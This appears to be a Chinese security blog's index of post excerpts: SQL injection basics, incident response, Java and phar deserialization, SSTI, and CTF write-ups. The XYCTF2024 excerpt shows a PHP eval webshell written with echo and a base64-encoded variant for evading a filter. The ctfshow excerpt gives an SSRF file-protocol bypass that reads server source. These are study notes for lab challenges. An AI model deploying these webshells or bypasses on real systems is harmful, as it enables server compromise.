深入浅出sql注入
0x01sql注入前置讲这个知识之前我们得先问自己几个问题 什么是数据库?简单来说,数据库就是“数据”的“仓库”。数据库是一个组织化的数据集合,用于存储、管理和检索信息。它为存储数据提供了一种格式化的方式,并允许用户和应用程序有效地查询、更新和管理这些数据。数据库中包含表、关系以及操作对象,数据存储在表中。 什么是sql?SQL是结构化查询语言,是一种用于与关系数据库进行交互的标准编程语言。它用于定义、操作和控制数据,以及管理数据库。SQL 是一种高度通用的语言,几乎所有的数据库管理系统(RDBMS)都支持SQL,包括MySQL、PostgreSQL、Microsoft SQL Server 和 Oracle 等。 sql里有四大最常见的操作,即增删查改: 增。增加数据。其简单结构为: INSERT table_name(columns_name) VALUES(new_values)。 删。删除数据。其简单结构为: DELETE table_name WHERE condition。 查。查找数据。其简单结构为:SELECT columns_name FROM...
应急响应日志分析汇总(持续更新)
0x01前言应急响应的话我认为是每一个学信安的人需要去学习的,所以我也是对此进行了响应的学习和积累,希望在以后发生真实的事件时能第一时间进行良好的反馈 借鉴师傅的文章:(这里的话还是有点多的,毕竟这个话题的分区还是蛮多的) https://bypass007.github.io/Emergency-Response-Notes/Summary/%E7%AC%AC1%E7%AF%87%EF%BC%9AWindow%E5%85%A5%E4%BE%B5%E6%8E%92%E6%9F%A5.html windows入侵排查:https://www.freebuf.com/articles/network/286270.html windows分析事件日志:https://zone.huoxian.cn/d/868-windows 常见Windows事件ID状态码:https://www.cnblogs.com/chddt/p/13262385.html 0x02应急响应在学习应急响应之前,我们首先要先了解什么是应急响应 什么是应急响应?应急响应(Incident Response...
java从0到1的学习
基础知识先讲讲Java语言的几个重要特性 Java语言是面向对象的语言(oop) Java语言是健壮的,Java 的强类型机制、异常处理、垃圾的自动收集等是 Java 程序健壮性的重要保证。 Java语言是跨平台型的语言 Java语言是强类型的语言 Java语言是解释型语言 解释型语言:javascript,PHP,java 编译性语言:C/C++ 什么是解释性语言?就是编译后的代码不能直接被机器执行的,需要解释器去执行 一个 Java 程序可以认为是一系列对象的集合,而这些对象通过调用彼此的方法来协同工作。 程序员的第一个程序必然就是hello world了,那我们先拿这个代码来分析一下 12345678public class HelloWorld { /* 我的第一个Java程序 * 它将输出字符串 Hello World */ public static void main(String[] args) { System.out.println("Hello World");...
XYCTF2024复现
ezMake扫了一下目录发现有flag文件,下载下来就是flag,不过好像这不是预期解 传入一个1之后有回显 分析一下内容 这里PATH变量被设置为空,这段 Makefile 的逻辑检查了 PATH 是否未定义,如果未定义则设为空,如果已定义也重设为空。因为**make 命令本身也依赖 PATH 查找**,当PATH被设置为空之后, 但是测试之后发现Bash内置命令是可以执行的 12345ubuntu@VM-16-12-ubuntu:/$ PATH=ubuntu@VM-16-12-ubuntu:/$ echo "1"1ubuntu@VM-16-12-ubuntu:/$ pwd/ 尝试用echo写木马但是遇到waf了 1echo "<?php eval($_POST['cmd']); ?>" > 1.php 用base64和hex绕过也不行 1echo "PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=" | base64 -d >...
关于java反序列化的学习
0x01前言因为前面学习了java的一些基础知识,java反序列化也算是搁置了很久的知识点,所以就来学习一下关于这个java反序列化的知识点 参考文章和视频: JAVA反序列化漏洞总结-青叶 java序列化与反序列化全讲解 Java反序列化漏洞专题-基础篇(21/09/05更新类加载部分) 0x02正文什么是java反序列化Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存或文件中,实现跨平台通讯和持久化存储,而反序列化则指把字节序列恢复为 Java 对象的过程。(这个的话在之前学ctfshow里头的反序列化篇也有详细的介绍过) 为什么需要序列化我们知道,当两个进程进行远程通信时,可以相互发送各种类型的数据,包括文本、图片、音频、视频等,...
关于SSTI的积累
...
关于phar反序列化的学习
0x01前言因为做到了GXYCTF一道题的考点是phar反序列化,所以就来专门学习一下关于这个phar反序列化的知识点 0x02正题PHP反序列化常见的是使用unserilize()进行反序列化,除此之外还有其它的反序列化方法,不需要用到unserilize()。就是用到了本文的主要内容——phar反序列化,用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。然后我去翻阅了大量大佬的文章进行学习,最后做成自己的笔记去方便自己以后随时可以看 什么是phar?Phar(PHP归档)是将php文件打包而成的一种压缩文档,类似于Java中的jar包。这个特性使得 PHP也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP-FPM 中运行。 ...
ctfshow1024杯
1024_WEB签到#签到123error_reporting(0);highlight_file(__FILE__);call_user_func($_GET['f']); 动态函数调用,而且是无参数的函数 1?f=phpinfo 一开始没什么头绪,就翻了一下php配置,看到里面有一个function 调用这个函数就能拿到flag了 1?f=ctfshow_1024 1024_柏拉图#phar反序列化 口子挺多的,先常规转一圈看看,在index.php中有一个url参数,传入1后有回显 1难道我不知道你在想什么?除非绕过我?! 提示很明显了,这里可以绕过,可是这里是干什么的呢?根据url参数来看这里应该是获取其他网站的资源用的,猜测存在SSRF,那我们用file协议读取一下本地的文件,看看能不能获取到源码 file协议被过滤了,用双写去绕过 1?url=filefile://:///var/www/html/index.php 12345678910111213141516171819//index.phpfunction...
ctfshow渔人杯(已做完)
神仙姐姐 点了拜之后就显示拜了几次,提示磕首千遍,抓包看看 爆破发了999个包,但是好像还是没拿到flag,难道还有别的思路? 后面看了wp才发现是在差不多四百多次的时候就有flag了,没办法,另外开靶机吧,这次直接用脚本跑,免得找了 12345678910import requestsurl = "http://aa7bd384-045a-4847-8494-a621ad75572b.challenge.ctf.show/sx.php"Cookies = {"PHPSESSID" : "r4cvn9krjkdr67mm4ghb1uuhu4"}while(True): r = requests.get(url, cookies=Cookies) if "ctfshow{" in r.text: ...